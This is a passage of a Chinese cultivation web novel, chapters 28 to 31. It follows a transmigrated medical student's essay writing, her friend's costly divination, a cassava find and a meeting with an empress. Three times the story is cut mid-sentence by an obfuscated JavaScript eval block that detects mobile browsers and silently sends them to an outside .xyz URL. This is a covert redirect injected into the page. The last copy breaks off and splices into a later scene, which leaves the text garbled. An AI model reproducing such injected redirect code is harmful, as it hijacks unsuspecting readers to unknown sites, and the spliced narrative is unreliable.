楚悯眨了眨眼:“这样召来的火跟常理的不太一样,不烫。” 真的假的。关云铮狐疑地凑近,感受了一会儿后确实没有被烤着脸的感觉,放心地点点头:“所以……为何难以熄灭?” 楚悯笑着轻轻叹了口气:“必须要为人所用后才可以熄灭。” 关云铮默默把龟甲递过去:“那不然……再烧一遍?” **** 为了熄灭楚悯手心的火,最后龟甲被烧得……差不多面目全非吧。 楚悯指着烧出来的裂纹跟关云铮解释:“就像这样。明明每次烧灼用的时间和火候都不尽相同,但龟甲烧出来的裂纹左不过那几种,久而久之,龟甲占卜就变得十分乏味了。” 关云铮看了半天没看出什么门道,于是追问道:“总共几种?” 楚悯想了想,拿起笔在铺开的纸上写了几笔,报出一个数字。 关云铮:。 本来还觉得要是龟甲的问题,就换一块龟甲看看能否烧出别的裂纹,要是龟甲没问题,那占卜就是真的无聊。 ——结果你跟我说有几百种??? 关云铮用一种很惊恐的眼神看着楚悯。 楚悯不太好意思地笑了笑:“自打我引气入体,几乎每日都要拿龟甲卜上几卦,兆看得多了自然记住了。” 关云铮一阵无言,内心尖叫着,决定贷款起诉自己的猪脑。 内外科她也每天都翻开啊,怎么没见她记住一点东西?神经病学学得她发神经,broca失语和Wernicke失语更是傻傻分不清。专业课划了重点、给了复习资料的,期末月那几天复习资料都快给她翻烂了,题库更是在考前突击了好几套,也没见她记住一道题。 好吧可能是她看东西根本没过脑子。 更想起诉自己的脑子了。 算了。死都死了,不管了。关云铮彻底摆烂,十分豁达地拿过墨锭,气势汹汹地开始研墨。 “想好怎么写了吗?”楚悯看她突然斗志十足的模样,好奇地问道。 关云铮咔咔研墨:“没有,先写个文题。” 与高中数学大题不会就写一个端正的“解”,大学专业课大题不会就写一个端正的“答”,是同一个道理。 我虽然记性差,但我态度好啊! 楚悯被逗笑:“嗯,文题是很重要。” 关云铮成功把自己折腾累了,放下墨锭,有气无力地从笔架上挑了一支笔:“褚先生有没有要求篇幅来着?” 楚悯最后看了几眼龟甲的裂纹,收起龟甲:“未曾,但应当写得详尽些比较好?” 关云铮长长地叹了口气,开始回忆高中都是怎么写议论文的。 是什么?为什么?怎么做? 挺好,就这个思路吧,写引气入体正好。 虽然她高中议论文常年48/60,从没上过50分,但也还算凑合吧,只能祈祷她的同窗们不都是文豪了,能稍微给她留点面子。 “气者,形之本。” 嗯……虽然还挺像那么回事的,但为什么写得越发心虚呢…… 关云铮一边心虚一边继续写道:“灵气,万物本源,可为人所用。” 楚悯在一边写得专心,她也不好意思打扰,只好闷头编,不是,写下去了。 大不了重写,反正还没说什么时候交呢。 **** 关云铮终于写完文章,发觉上午的课还没结束,楚悯在一边也写得差不多了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916641|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是吹了吹纸面上没干的墨迹,悄悄凑到楚悯旁边:“小悯,你能帮我看看我的文章吗?” 楚悯把自己的纸笔收到一边,凑过来:“我看看。” 关云铮乖乖在旁边坐着没出声,悄悄观察楚悯脸上的表情。 她发现楚悯的阅读速度很快,视线几乎没怎么停顿过,还没等她窥探出一丝她文章水平如何的端倪,楚悯就从纸面上抬起视线:“你觉得是上次下山时受伤导致的发热,促使了引气入体?” 嗯……其实是她瞎编的。 但从化学反应有时需要加热来看,她这个理论也不是没有一定的可行性。假如引气入体是熵增反应,△S>0,那高温下不管△H是否大于0,这个反应都是自发进行的嘛。 发烧了对人体来说也算是一种高温?连免疫系统都杀疯了呢。 总不能引气入体不是熵增反应吧?还没学会如何控制气的话,体内的混乱度不就是增加的吗? 虽然很无厘头但写的时候她说服了她自己。嗯。 关云铮很没底地小声问:“这个说法完全没有依据是吗?” 楚悯摇摇头:“我只是觉得很新鲜,修道之事本就千人千面,你大师兄还是除无情道外最能打的苍生道弟子呢,这也跟大家习以为常的并不符合呀。” 喔,大师兄居然这么厉害吗? 关云铮差点又被岔开注意力,悬崖勒马道:“那,这文章有什么需要改动的吗?” 楚悯吹了吹仍未干透的墨迹:“我觉得很好,你要实在不放心,带回去问问你师父吗?” 关云铮想了想她那神龙见首不见尾、靠谱水平还酷似六脉神剑时有时无的师父,一脸沉重地说:“我下午带给掌门看吧。” 想着刚才楚悯说的话,沉重的神色并没有在她脸上停留多久:“大师兄和无情道打过吗?哪个无情道?” 上午的课结束了,楚悯收拾好文章卷起来,跟关云铮一起走出学堂:“应当就是任嵩华。” 诶? 关云铮兴致勃勃地追问:“没打赢吗?” 楚悯思索片刻:“你大师兄闭关之前没打赢,现在他出关了,不能确定。” 关云铮眼睛都亮了,看上去很想立马跑回师门撺掇大师兄和任师姐打一架,但还是忍住了,笑眯眯地挽住楚悯胳膊:“走吧,去我师门吃饭!” **** 闻越给楚悯盛了碗饭:“够吗?” 楚悯伸手接过,眉眼弯弯:“够啦,多谢闻师兄。” 闻越不甚在意地摆手:“你大哥不在,一个人在这么远的地方,应该照顾你的。”他又盛了一碗汤端过来,“再说了,云崽不怎么跟我客气,你也不用跟我客气。” 关云铮端着两碟菜靠近他们身后,故意把语气压得阴恻恻的:“说我什么坏话呢你们?” 闻越头也不回:“说你今早话没说完就跑了,让我一上午抓心挠肝的。” 关云铮绕回自己位置上坐下,把手上的菜放下,往楚悯面前推了点:“这不是回来告诉你了。” 闻越夹了一筷子菜:“跟今早的甘薯有关?” 关云铮本来都要低头吃饭了,闻言震惊抬头,语气十分不可置信:“你是谁,你是我师兄吗,怎么这么聪明?” 她开玩笑的意味太明显,闻越不觉得生气反而被逗笑了,刚想说点什么发现旁边的楚悯也被逗笑了,索性一起又笑了一会儿。 连映进来时看见的就是这么一幅景象:闻越和楚悯在对面笑个不停,关云铮在这边忍了又忍还是没忍住,最后还是笑出声了。 “说什么了这么有趣?”连映在桌边坐下。 关云铮艰难收住笑容,跟连映复述了一遍。 几秒后笑声出现人传人现象。 几人终于笑够了,关云铮悄悄摸了摸自己笑痛的肚皮,解释道:“早晨李厨不是煮的甘薯粥吗?我就想试试洗甘薯淀粉,做点点心吃。” “甘薯淀粉?”连映疑惑。 关云铮拿面粉来类比:“面粉不是可以拿来做饼吗,甘薯淀粉也可以,但是做出来的饼更软,而且只需要锅里煎一下就好。” 闻越一听有好吃的就两眼放光:“什么样的饼?” 关云铮想了想:“鸡蛋饼?” 这下疑惑的成了楚悯:“鸡蛋饼?” 关云铮点点头:“晚上我们去菜地里看看,要是甘薯还多的话,我就试试洗甘薯淀粉。”说完后她又找补似的来了句,“反正这甘薯也不甜,不如洗成粉吧。” 闻越跃跃欲试的:“下午是哪位先生的课?能提早回来吗?” 话音刚落,荣获师姐筷子尾敲头。 “哈哈哈哈哈哈哈……” 29.第 29 章 章存舒今日晚到饭堂,徒弟们都已吃完散场了,除了小徒弟去上学,其他都有自己的事要做,偌大师门只剩他一个无所事事,他脸上却没什么偷得浮生半日闲的喜色。 李演不在,锅碗瓢盆都被他利落地收拾干净,有一些仍挂着水珠,洗净的刀依旧扎在砧板里。 饭堂空无一人,唯有灶膛尚存几分余温。 他在最靠近门的一张桌边坐下,还没等做些什么,就听见灶膛里传来细微的“噼啪”一声。 章存舒坐着没动,脸上难得露出一丝不耐烦的神色,微不可见地皱了皱眉。 片刻后,像是催促一般,灶膛里又发出一声类似火星爆燃的动静,他才站起来,走到灶膛前。 火早就熄了,炭灰里只剩一点毫不起眼的红,被他靠近时带来的风一扑,几乎要完全熄灭了。 像是感应到有人靠近,灶膛里又是“噼啪”一声,随即一张纸卷着灰烬从灶膛中腾空而起,看架势是想糊在章存舒脸上。 他偏了偏头,伸手截住纸,抖了抖上面沾的炉灰,低头看了一眼。 这张纸只有两指左右的宽度,长度不超过一掌,纸的材质很好,厚度和手感都是上乘的,只是边缘很毛糙,似乎是随手撕下来的。上面的字迹也龙飞凤舞,落款是个着墨不多的“苍”字,像是懒得再添墨,随便勾描的。 章存舒垂眼看完,没什么表情,又把纸丢回灶膛,随即一甩手,点燃那点尚未完全熄灭的火苗。 火苗蹿上来,舔尽了纸的轮廓。 他好像不打算继续做刚才在桌边坐下时要做的事了,径直走向门,离开了。只是离开时脸上不耐烦的神情已然褪去,变得和以往没什么区别,又是带着些笑意的了。 **** 关云铮感觉自己有点醉饭,都快走到术法课场地了,才想起原本打算带过来给步雁山看的文章落在饭堂了。 楚悯注意到她脚步停顿,侧脸看来:“怎么了?又是发愁又是笑的。” 关云铮还没意识到自己的面部表情居然这么精彩,闻言也没不好意思,只是笑嘻嘻地说:“我想起文章落在饭堂了,不过师姐应该会帮我收起来的,我也可以喊掌门去师门吃饭,那时候再给他看。” 楚悯点点头,关云铮又想起什么,问她:“小悯你要不要来我师门住?” 楚悯愣了一下,似乎没料到她会突然这么问:“我......” 关云铮认真地看着她:“你如果愿意的话,就搬来和我一起住呗。”她佯装伤感地叹了口气,“师门只有我一个人每天上学,真的好可怜啊。” 楚悯还没来得及说愿不愿意,先被她的语气逗笑了,笑着逗她:“你是本就不喜欢上学,还是因为发现褚先生的课要写文章才不喜欢呢?” 关云铮装不下去了,一脸的生无可恋,谁知道修仙了居然要写论文啊!她学医的时候都没写过什么论文啊! 楚悯牵住她的手,小幅度地晃了晃:“你怕我被其他人欺负吗?” 术法课场地近在眼前,步雁山却还不见踪影。两人找了地方坐下,关云铮如实回答:“倒也不担心,我觉得他们欺负不了你。” 认识关云铮之后楚悯每天都得被逗笑几次,闻言没忍住又笑了:“这又是如何看出来的?” 归墟境内的恒温法阵让她们能够在术法课上席地而坐也不觉得冷,关云铮把两手撑在身后,看着空中那一大团在阳光下翻滚着的云:“你很厉害呀,再者说,我觉得归墟也很安全。” 楚悯摇摇头:“我除了卜算,其他方面都表现得资质平平,你应该多看看自己做成的事,这么些天就能引气入体,获得一把不同寻常的武器,还能成功在剑上飞行一段距离,你才是真的很厉害呀。” 关云铮不以为然地摇头:“要不是那个坏脾气老头,我早就摔得四脚朝天了,武器也是师父从剑冢里拿出来给我的,我这几天都没用过。” 楚悯脸上浮现出一种很不符合她这个年纪的温和神情,笑着看向关云铮。 她没有开口,关云铮却福至心灵般地明白了她想说什么,坐直了感慨:“人好像总是对自己的境遇和成就感到不满足, 而在别人眼里我们已经做得很好了。” 楚悯动作幅度很大地点了点头,刻意把嗓音变得很低沉:“嗯,孺子可教。” 说完两人对视一眼,楚悯先没忍住,笑出声来。 步雁山显然迟到了,但这一刻关云铮完全不打算去思考他迟到的缘由。 头顶的那团云已经飘走了,她看向湛蓝的天空。 天气真好啊。 **** 关云铮还没等到第二团云飘到头顶,步雁山姗姗来迟,先对一众坐在地上仰起脸看他的学生表示了歉意,然后才说了这堂课的内容。 “若按仙盟的意思,今日我们要继续学新的术法,但我和另外两位先生商讨过后,决定让你们来决定,是要学新的术法,还是温习过去几天学过的御物术。” 步雁山没解释他迟到的原因,但这话听起来像是他刚才是去和另外两位先生讨论了。关云铮皱皱眉,下意识觉得应该不是这么回事,侧过脸看向楚悯,正好对上视线。 关云铮凑过去咬耳朵:“你觉得掌门刚才来迟是干什么去了?” 楚悯看她样子,下意识要抬手,结果关云铮又摇摇头坐回去了:“我就是好奇,小悯你别算。” 楚悯有点不解地看她:“不是想知道吗?” 关云铮悄悄看一眼站在前排和几个同窗说话的步雁山,又凑到楚悯旁边:“我就是觉得,经常这样的话,会不会有什么,”她思考了一下措辞,“代价?” 虽然她之前也这么说过,但是当时楚悯没有回答,那之后她一直觉得这种几乎无所不知的卜算,或者称得上是洞察,太过逆天了,这种事不付出代价几乎是不可能的。 它跟从书本或者其他的经历中汲取知识有着本质的不同,这几乎是凭空得到的,诚然,这个过程付出了一点卜算的精力,但精力可以说是获取知识的道路上最微不足道的部分了,难道说只要付出精力就能接近这样的无所不知吗? 关云铮不敢相信,于是再度向楚悯发问:“小悯,你算这些,真的不会有代价吗?” 在她那张和楚悯年纪相仿的脸上,露出了一点更成熟时才会有的严肃与凝重来。 楚悯依旧没有立刻回答,但过了短短的几息,她轻轻地叹了口气,看着关云铮回答道:“等这堂课结束,我就告诉你。” **** 最后多数人选择了温习旧术法,大家各自扎堆找东西练习御物术,有几个还去拿了木剑来练习御剑,步雁山在人群中走动,时不时给需要帮助的学生提出一点建议与指导。 关云铮总觉得“下课再告诉你”这种许诺本身就意味着这个话题的沉重性,复习御物术的时候走神了好几次,手边要掌控的东西时而到处乱飞,时而泼她一身。 当然了,因为御物术包括御水,所以她走神的次数越多,身上的衣服被泼得越湿。 楚悯叹了口气,念了个净衣咒,在关云铮面前坐下了。 关云铮回过神来,眼巴巴地看着她。 大概是原身这张脸做出可怜巴巴的表情时格外有杀伤力吧,楚悯被她看着,没一会儿就缴械投降:“是要付出一些代价。” 关云铮御水也不练了,警觉道:“一些?” 楚悯又叹了口气,对她的敏锐感到头痛:“起初并没有什么异常,我只是跟随长老的指引,开始学习卜算,从日常的龟甲占卜开始,扶乩这些也有涉猎,后来......” 关云铮无端紧张,感觉喉咙发干,用力吞咽了一下才说出话来:“后来?” 楚悯大概是很少和别人说起这件事,看上去有点不自在,垂眼操控起身侧的水流:“后来长老发现,我的寿命受到了影响。” 话音落下的这一瞬间,关云铮感觉自己好像突然失声了,她听见自己梦呓般地轻声说道:“受影响......是什么意思?” 楚悯仍然看着自己手心打着转的水流:“我或许会长久地维持现在这副模样,不会再长大,也可能减损了一些阳寿。”她终于松开手,任水流顺着掌心的生命线流走,从指缝间回到来处,“算出这件事的长老,是我父亲。” 关云铮对上她的视线,张口欲言时才发觉自己方才无意识地牙关紧咬。 楚悯脸上又是那种洞悉后温和的笑容:“不用觉得愧疚,如果像兄长那样总是无时无刻不在嘘寒问暖,我也会觉得不自在的。” 她像是为了让关云铮不要那么有负罪感,又像是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919652|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的卸下了什么心头重担,学着术法课开始前关云铮的样子,把双手往身后一撑,抬头看向天空。 “你看这朵云。” 关云铮叹了口气,配合地抬起头,和楚悯看向同一朵云。 **** 晚间两人一起回了苍生道饭堂。 章存舒正跟李演在灶边说话,连映和江却坐在一起,闻越在他们对面撑着下巴发呆,看见关云铮和楚悯从门外进来眼睛都亮了,连忙扭头对着章存舒喊:“师父,云崽和小悯回来了!” 一时间五双眼睛都看过来,关云铮骤然被这么多人看着,下意识后退一步:“难道是在等我吗?” 这么热情搞得她怪害怕的。 连映笑眯眯的:“师父有事要跟你说。” 啥事?她上课说悄悄话被师父知道了? 但是师姐笑眯眯的,闻越也在那乐,甚至江却的表情看着都怪温和的。她悄悄观察章存舒脸色,觉得应该没有跟她算账的意思,放心地和楚悯一起走到桌边坐下。 不是要算账,那还能是什么事?教学计划有改动?那也应该是三位先生来说才对? 关云铮猜测着,看着章存舒走到桌边坐下。 章存舒神色如常,看起来既靠谱又不靠谱的:“其实是想问问小悯,你愿不愿意来我们门派住?” 楚悯愣了一下,关云铮也没料到,下意识看向楚悯。 章存舒把李演端过来的饭菜摆到桌子中央:“你独自在外,若是住在我们门派,得到的照料要比在归墟给你们安排的地方多一些,”章存舒难得这么诚恳,“自然,我也有私心,云崽初入仙门,恐怕有许多不适应,你和她似乎相处不错,每日一同上学也不会孤单。” 关云铮怀疑章存舒在自己身上安窃听器了,目光在他和楚悯身上来回打转,但没打算开口打断他们的对话。 楚悯除了刚才听到问题时愣了一下之外,章存舒说话的时候都是笑着的:“我当然愿意,多谢章先生。” 闻越还没等她话音落地就振臂高呼:“好耶!” 一桌人顿时看向他。 章存舒看了眼关云铮,又看向闻越:“好耶?” 闻越也看关云铮:“云崽教的。” 关云铮看天花板看地面看菜碟看饭碗。 章存舒没在这个话题上深究:“以后你们俩有什么想吃的记得提前告诉李演。” 关云铮和楚悯一起乖巧点头。 闻越眼巴巴的:“师父,那我呢?” 章存舒看他一眼:“你差师门这两口吃的?你能少溜下山几次我都谢天谢地了。” 关云铮很想笑,只好低下头压住自己疯狂上扬的嘴角。 一桌人热闹开饭,闻越想起甘薯的事,凑到关云铮耳边说悄悄话。 关云铮边听边点头,刚想回答就被章存舒点名,一激灵抬起头,对上她师父的视线。 “说什么呢,两个人脑袋都快埋桌底下了。”章存舒颇觉好笑地问道。 关云铮思考一秒,觉得跟大家说说也未尝不可:“我和三师兄打算待会儿饭后去菜地看看。” 章存舒扬眉:“菜地?” 关云铮点头:“早上喝粥的时候听李厨说粥里放了甘薯,”她下意识往灶台那边看了眼,发现李演不在,放心地继续说,“但是一点也不甜,所以打算去菜地看看,能不能改善一下。” 之前关云铮做菜的时候江却还没出关,闻言难得有些状况外地问:“云铮还会种菜?” 关云铮连忙摇头:“我不会,我只是想看看土壤质地什么的。” 江却有点迟疑:“土壤质地?” 好吧听起来真的像很会的样子,但其实只是因为她碰巧知道种红薯的讲究而已。问就是21世纪的时候什么都爱看唯独不爱看专业书。 关云铮放弃为自己辩解:“甘薯粉可以用来做吃的,我打算待会儿去菜地看看,不过洗甘薯粉可能需要大家帮忙。” 章存舒颇为感兴趣的样子:“甘薯粉?能做什么吃的?” 一开口就是老吃货了。 关云铮不想在还没做出来之前提高太多预期,因此坦白道:“还不一定能做出来呢,师父你先别期待。” 章存舒被逗笑了,配合地答应下来:“好,那我先不期待。” 30.第 30 章 饭吃到一半,关云铮想起自己经过一下午又差点把文章的事情忘了,来不及在心里埋汰自己,忙看向连映问道:“师姐,我落在这一卷文章,你看到了吗?” 连映点头,一如既往的靠谱:“我收起来了。” 关云铮也点头,刚想说待会儿去拿,章存舒就在一边开口了:“文章我看过了,写得不错。” 这位就靠谱得有点不同寻常了。 其实单纯谈论性格的话,师父要比掌门风趣幽默很多,掌门虽然很温和却不太会跟人说笑,但可能是出于一种“写得不好就不想让师父知道”的心理,又或者她始终觉得师父有时候的眼神太过洞察一切,所以不是很想把师父当做她的首位选择。 毕竟被人看穿总归是种不太好的体验。 而且师父在门中的时间似乎要比掌门少一些,她就下意识想找掌门帮忙看了。 关云铮在脑内给自己找完理由,正打算道谢,章存舒又补上一句:“你掌门师叔也看过了。” 就知道会被看穿……她忽然想到步雁山今天上术法课前的迟到,有点困惑地看向章存舒:“今日术法课前吗?” 章存舒没否认,点了点头,但很快又提起先前的话题:“小悯打算什么时候搬过来?” 关云铮总觉得章存舒在避而不谈什么,但是没再纠结,转而把注意力放在楚悯身上了。 章存舒已经吃完了,今晚的菜貌似也不怎么合他胃口,吃的并不多:“我看过你们的课业安排,明日午后似乎有空?” 楚悯回忆了短暂的一瞬,点头肯定。 章存舒此刻完全是靠谱长辈:“那明日让小映帮你收拾?” 楚悯下意识看向连映,对上连映带着笑意的目光:“好,多谢先生和师姐。” **** 一顿饭吃完,关云铮正打算拉着闻越直奔菜地,被落在后面的章存舒叫住:“云崽,回来了记得来我这拿你的文章。” 关云铮回头应了声“好”,拉着闻越继续宣传甘薯粉的妙处。 楚悯和连映走在中间聊天,江却走在最后。 “甘薯粉和面粉有点像,但是做成吃食可能会更软一些,如果能成功,我会用甘薯粉做蛋皮。”关云铮边走边说道。 闻越现在对关云铮的厨艺十分信任,闻言点点头,问道:“不过蛋皮是什么?” 关云铮思考了一下记忆中蛋皮的制作过程,最终还是打算先不提高太多期待:“先看看能不能成功洗出甘薯粉吧。” 说话间五人抵达苍生道的小菜园,关云铮环视一圈,看见记忆中非常熟悉的番薯藤,走过去蹲下。 闻越跟着蹲下了:“需要我做什么?” 关云铮还在观察面前的是不是自己在找的东西,没顾上回答,只心不在焉地“嗯”了一声。 闻越颇觉好笑:“你嗯什么,我问的问题能用嗯来回答吗?” 关云铮这才回过神,有点不好意思地笑了一下,转而说起自己观察这一会儿后得出的结论:“我好像知道为什么今早粥里的甘薯不甜了。” 江却在一旁也蹲下了:“为何?” 关云铮差点打了个磕巴,莫名觉得大师兄这一蹲很有压迫感,顿了一下才指着面前的番薯藤说:“我记得甘薯成熟时茎叶会枯萎,这些分明还很茂盛。” 连映坐在一边的矮墙上:“那就是,没完全成熟?” 关云铮点点头,扶着膝盖用蹲着的姿势缓慢挪动到另一边:“这里的倒是看着有些枯萎了……”她话还没说完,发现土里冒出点颜色,下意识上手拔了一下。 没拔动。 关云铮立马转头看向在一边蹲着的闻越:“师兄,该你出场了!” 闻越看了一眼从土里冒出个尖的甘薯,兴致勃勃地挪过来:“我来!” 没拔动。 闻越皱眉,转头看江却:“大师兄我怀疑这甘薯成精了。” 江却和闻越对视了一会儿。 关云铮在旁边悄悄观察,然后看见江却没绷住,笑出声了。 “我来吧。” 关云铮站起身,拉着闻越到一边,感觉这块番薯是某种性质的考验,而她和闻越是没通过考验的两个“差生”,正在观摩“好学生”江却如何解决难题。 江却好像只轻轻拔了一下,那块番薯就破土而出,露出了真容。 等会儿。 关云铮凑上前:“这好像不是甘薯……” 闻越跟着凑上前:“不是?那是什么?” 关云铮皱起眉:“这好像是……木薯啊?” 闻越还没反应过来木薯是什么,关云铮已经雀跃着一拍他的肩膀:“太好了我们有珍珠奶茶喝了!” 虽然李演把没完全成熟的甘薯放进粥里,但他种出了木薯啊! 就这样因为珍珠奶茶原谅全世界。 关云铮菜地一行收获颇丰,把原本脑子里“怎么才能种出更甜番薯”的一系列想法清空,和师兄师姐们往回走了。 江却手里还拿着那块体积相当可观的木薯,连映走在他身边打量那块东西,关云铮和闻越走在前面,语速飞快地跟他宣传“珍珠”到底是个什么玩意儿。 “此珍珠非彼珍珠,它是一种很像珍珠的,嗯,点心?嚼起来韧性比较强,放进上次我煮的那种奶茶里,味道更是美妙。”关云铮说着说着简直开心得要跳起来了,忍不住又跑到江却面前看了会儿那块木薯。 这么大块,就算洗成粉应该也能做出一份珍珠来吧? 连映笑着问她:“要今天做吗?” 关云铮倒不怎么着急,闻言摇摇头:“明日午后吧,正好让小悯也尝尝。” **** 关云铮发现李演比章存舒还行踪不定。平时晚饭前后一般都能在饭堂找到他,她回去后却发现饭堂空无一人,只好把水牛奶的事暂时搁置,转头去章存舒那里拿回自己的文章。 江却把木薯放下,跟在连映身后去舀水洗手。 闻越不想去找师父,也不打算在这多待,每次连映和江却待在一起他就觉得自己无端碍眼,于是哼着某次下山时听到的调子回自己的小院去了。 江却和连映在水缸边低声说着话。 “我以为师父不会再收徒弟了。”江却垂眼看着连映用水瓢把水舀起来。 连映慢慢把水浇在他沾了泥的掌心:“我也以为,不过云崽能来师门,大家都挺高兴的。” 江却把掌心的泥搓洗干净:“嗯,小越肯定最高兴,他们年纪相差不多。” 连映把水瓢放回原位:“我们的年纪难道和云崽相差许多吗?” 江却被她逗笑,跟着她一起往外走:“师父说过为何选中云铮吗?” 连映摇头:“没告诉我,大概有自己的考量吧,也没准只是云崽合眼缘。” 江却点点头,没再说话,两人一路往院子里走。 “现在只有你一个人叫云崽云铮,这可不行。”连映忽然来了这么一句。 江却下意识“嗯?”了一声,随即解释:“云铮才刚见到我,而且我看着应当比较凶?” 连映忍俊不禁:“你知道自己看着凶,还不收着点?” 江却有点无奈:“云铮她不介意我用云崽叫她的话,我会叫的。” 说话间两人已经走到了连映的小院,她一边往自己房中走一边笑着说:“那你自己去问吧,我可不管。” **** 章存舒的院子里静悄悄的,关云铮从连廊走下来,没看到人,但看见了放在石桌上的那卷文章。 关云铮正打算走过去,脚边什么东西飞速窜过,卷起她衣摆片刻,吓了她一跳。 章存舒的声音在背后响起:“那是栖霜。” 关云铮回过头,心脏还在胸腔里咚咚作响:“栖霜?” 刚才只来得及低头看了短促的一眼,似乎确实像霜一样白。 章存舒踏上通往院内的石板路,走向石桌:“你师伯养的貂。” 貂窜这么快的吗?比记忆里偷了吃的狼狈逃窜的老鼠还快。 “它怎么会在这?”关云铮跟在章存舒身后。 “来偷吃的。”章存舒的语气很习以为常,在桌边坐下后把文章递给她。 看来凌风起那儿也没有饭堂,所以到底为什么就她师父这么馋。馋也就算了,为什么找来的厨子不像厨子,更像是个武者。 她一边腹诽,一边接过纸卷:“师父,你有话要跟我说吗?” 感觉好像不是还她文章这么简单呢。 “过几天仙盟可能会派人过来。”章存舒语气平淡。 关云铮抱着纸卷坐下:“来做什么?” 章存舒看她,眼神有些意味深长,但不知是不是针对她的问题:“来观摩归墟的教学。” 她明白了:“哪种观摩?忍不住指点江山的那种?” 章存舒笑起来:“可能还会有前两年参与过教习的人来。” 关云铮顺着他话的意思:“也来观摩?” 章存舒点头:“也可能留下来一同学习。” 关云铮不大高兴地皱了皱眉,没说什么。 两人面对面坐着,她脸上的表情变化自然会被注意到,因此章存舒问道:“怎么,不愿意?” 关云铮低声抱怨:“说了交给我们管理,如今又要插一手,之后说不定要怎么指手画脚,这种做派真是膈应。” 果然从古到今的领导都是一样的做派,嘴上说放权,交给手底下的人去做,过几天又变卦,质问手下人怎么做事没有来征求ta的同意。 官不大官威不小,不用做事的人可真是轻松。 她怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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关云铮头昏脑涨地站定,感觉周围的景色变换得像是延时摄影的星空图片,全都拖曳着长长的尾巴,在她的视野里成为炫目的色彩线条。 章存舒低头看她,目光很关切:“难受?” 关云铮心说我简直想吐,何止是难受。 还没等她说出口,前方已传来人声。 “章存舒?你怎么来了?”一个女人的声音,听着很年轻。 关云铮抬起头,对上那女人看过来的视线。 “嗯?这是你的小徒弟?”那女人挑了挑眉。 关云铮使劲用大拇指尖掐了一下食指关节,在锐痛中强打精神,让自己忘记身上头晕目眩的感觉。 眼前的女人打扮得很素净,发间没有簪子,颈间没有饰品,却坐在一座装点得近乎金碧辉煌的亭子里。 因此那素净几乎有点像是刻意为之了。 不过她长了一张……一看就很贵气的脸,关云铮一度以为自己不会亲眼看见能配得上这个形容的人。 章存舒先走进亭子:“嗯,我的小徒弟。” 关云铮抬腿跟上。 “我是苍韫桢,你是云铮?”那女人笑着问她。 关云铮点头。 章存舒给自己倒了杯茶:“我跟云崽说了仙盟的事。” 苍韫桢对这件事并不太在意的模样,闻言只是颇觉有趣地看向关云铮:“云崽?” 关云铮有种家人起的小名太可爱,自己在外人面前开不了口的感觉。 好在苍韫桢看出她有些不自在,没有在称呼上多说,接着方才的话题说道:“姓严的也知道自己此行没有一个好由头,来找我讨个旨意。” 旨意??? 关云铮惊恐抬头。 章存舒悠哉悠哉地又喝了一口茶:“她是当朝皇帝。” 不是???你不是说朝廷中人吗??? 虽然皇帝理论上也算是朝廷中人吧…… 苍韫桢笑起来:“是没想到我是皇帝,还是没想到当朝皇帝是个女人?” 都没想到…… 关云铮感觉周围的空气都变稀薄了。 苍韫桢显然知道答案,但表情不变,依旧笑着,看向章存舒说道:“你徒弟挺有意思。” 到现在为止一个字也没说过的关云铮:?哪看出来的? 苍韫桢也给自己倒了一杯茶:“我本来不想管,仙门事仙门了,可惜姓严的没脑子。” 茶壶和杯子被章存舒推到关云铮面前,她默默给自己倒了杯茶,然后把嘴埋进去,决定把沉默贯彻到底,装作是亭子里一个朴素的装饰。 “卿知已经把他的折子打回去了,你的意思呢?”苍韫桢问道。 卿知又是谁……她的大臣吗……关云铮感觉自己的脑袋更晕了。 “让他来,我倒要看看,他想做些什么。”章存舒语气平静地说道。 31.第 31 章 两人轻描淡写地讨论了一件貌似举足轻重的大事,关云铮在旁边埋头喝茶,甚至品出这茶应当是正山小种。 正山小种好像是……明朝起源的?关云铮的思绪才起了个头就被她自动掐灭了,搞不懂自己为什么又在架空世界里考据。 不过她一直以为皇宫里的茶更多是绿茶来着,毕竟绿茶占比本来也比较大。掐灭考据的想法后脑袋空空,漫无边际的想法又跳出来占据她的大脑,让她在这个场合里不至于太过不自在。 她正埋头装作自己不存在,苍韫桢则显然不打算体谅她这点小心思,忽然问道:“云铮要吃点心吗?” 关云铮抬头,嘴和脑拉锯半晌,还是嘴赢了:“吃。” 蹦出这个字后她简直想咬舌头,都怪章存舒的态度太随意了,搞得她面对皇帝也这么不把自己当外人。 苍韫桢倒是完全不在意的模样,对着不知道什么时候站到她身后的人吩咐了几句。 “我听章存舒说,你厨艺不错?”吩咐完,苍韫桢转回身,看她似乎挺喜欢手里那杯茶,眼里的笑意深了些。 再好也不能跟皇宫里的厨子比吧…… 她谨慎地捧着茶盏,对着苍韫桢的视线,一时不知道如何回答。 “他吃过的好东西可比我多上许多,既然他这么说,你也不用谦虚。”刚才那人去而复返,身后跟了几个人,手里各端了一盘点心。 亭中石桌面积不大,已放不下这许多碟子,来人于是收手抬头,看向苍韫桢等待指示。 苍韫桢话语简洁:“都放下,取些茶饼来。” 来人立刻变戏法似的把碟子挨个堆叠起来,七八个碟子愣是在仅剩的一小块空桌上站稳了,里头的点心还能争奇斗艳似的都能让人看见。 